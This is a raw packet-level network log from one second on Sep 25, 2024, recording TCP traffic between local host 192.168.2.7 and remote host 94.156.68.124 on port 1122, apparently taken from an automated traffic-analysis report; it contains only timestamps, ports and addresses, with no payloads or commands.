Sep 25, 2024 01:11:11.883150101 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883162975 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883177996 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883193970 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883202076 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.883209944 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883225918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883236885 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.883241892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883249998 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.883259058 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883276939 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.883790970 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883806944 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883821964 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883846045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883846045 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.883865118 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883868933 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.883882046 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883898020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883913994 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883913994 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.883932114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883935928 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.883956909 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883974075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.883977890 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.884006023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.884010077 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.884023905 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.884038925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.884071112 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.884727955 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.884741068 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.884764910 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.884782076 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.884787083 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.884799957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.884812117 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.884819031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.884835958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.884850979 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.884856939 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.884865046 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.884881973 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.884882927 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.884900093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.884902954 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.884917974 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.884933949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.884948969 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.884953022 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.884973049 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.885305882 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.885323048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.885364056 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.885471106 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.885488033 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.885500908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.885515928 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.885529041 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.885531902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.885548115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.885554075 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.885565042 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.885576010 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.885582924 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.885600090 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.885607958 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.885615110 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.885637045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.885648966 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.885658979 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.885669947 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.885675907 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.885690928 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.885714054 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.886451006 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.886467934 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.886483908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.886498928 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.886511087 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.886514902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.886526108 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.886533022 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.886549950 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.886552095 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.886570930 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.886588097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.886593103 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.886604071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.886620045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.886622906 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.886637926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.886655092 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.886662006 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.886672020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.886687040 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.886692047 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.886704922 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.886729002 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.887187004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.887212992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.887351036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.962166071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.962220907 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.962246895 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.962276936 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.962292910 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.962311029 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.962323904 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.962323904 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.962373972 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.962517977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.962534904 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.962552071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.962568045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.962584019 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.962589979 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.962601900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.962604046 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.962649107 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.962827921 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.962850094 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.962874889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.962891102 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.962898970 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.962909937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.962943077 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.963129044 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.963146925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.963162899 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.963180065 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.963221073 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.968009949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968063116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968079090 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968106031 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.968168020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968202114 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.968247890 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968266010 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968281984 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968297005 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968302011 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.968343019 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.968425989 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968518972 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968534946 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968550920 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968554974 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.968569040 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968586922 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.968727112 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968745947 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968766928 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.968877077 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968894005 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968919039 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.968919992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968938112 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968954086 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968957901 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.968971014 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.968987942 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.969012976 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.969033003 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.969304085 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.969321012 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.969336033 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.969350100 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.969362974 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.969367981 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.969386101 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.969573975 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.969599009 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.969613075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.969615936 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.969628096 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.969645977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.969650984 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.969664097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.969680071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.969680071 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.969698906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.969715118 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.969715118 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.969729900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.969752073 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.970021963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.970038891 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.970063925 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.970257998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.970273018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.970288992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.970303059 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.970305920 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.970321894 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.970328093 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.970340014 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.970357895 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.970357895 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.970376968 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.970391035 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.970391989 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.970408916 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.970422029 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.970432043 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.970437050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.970453978 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.970454931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.970489979 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.970813990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971029043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971045017 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971060991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971067905 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.971075058 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971090078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971105099 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.971105099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971121073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971128941 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.971138954 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971153975 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971168995 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971182108 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.971184015 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971189022 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.971200943 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971215963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971220016 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.971232891 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971249104 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971251965 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.971266031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971287966 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.971918106 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971939087 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971956015 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971961975 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.971973896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971990108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.971991062 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.972007036 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972023010 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972026110 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.972039938 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972054958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972059965 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.972070932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972086906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972089052 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.972103119 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972119093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972125053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.972136021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972152948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972160101 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.972191095 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.972848892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972867012 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972882032 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972897053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972912073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972913027 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.972930908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972933054 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.972949028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972965002 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972965956 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.972981930 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.972996950 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.973004103 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.973014116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.973030090 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.973031044 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.973047018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.973062992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.973071098 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.973078966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.973097086 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.973098040 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.973113060 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.973133087 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.024631977 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.048882008 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.048923016 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.048938990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049005985 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049020052 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.049048901 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.049078941 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049094915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049110889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049127102 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049133062 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.049161911 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.049343109 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049357891 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049372911 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049396038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049397945 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.049431086 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.049595118 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049621105 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049634933 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049653053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049655914 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.049710989 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.049870014 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049885988 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049900055 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049913883 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049921036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.049932003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049947977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.049948931 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.049981117 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.054840088 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.054855108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.054871082 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.054913044 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.054965973 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.054980993 CEST	1122	49700	94.156.68.124	192.168.2.7
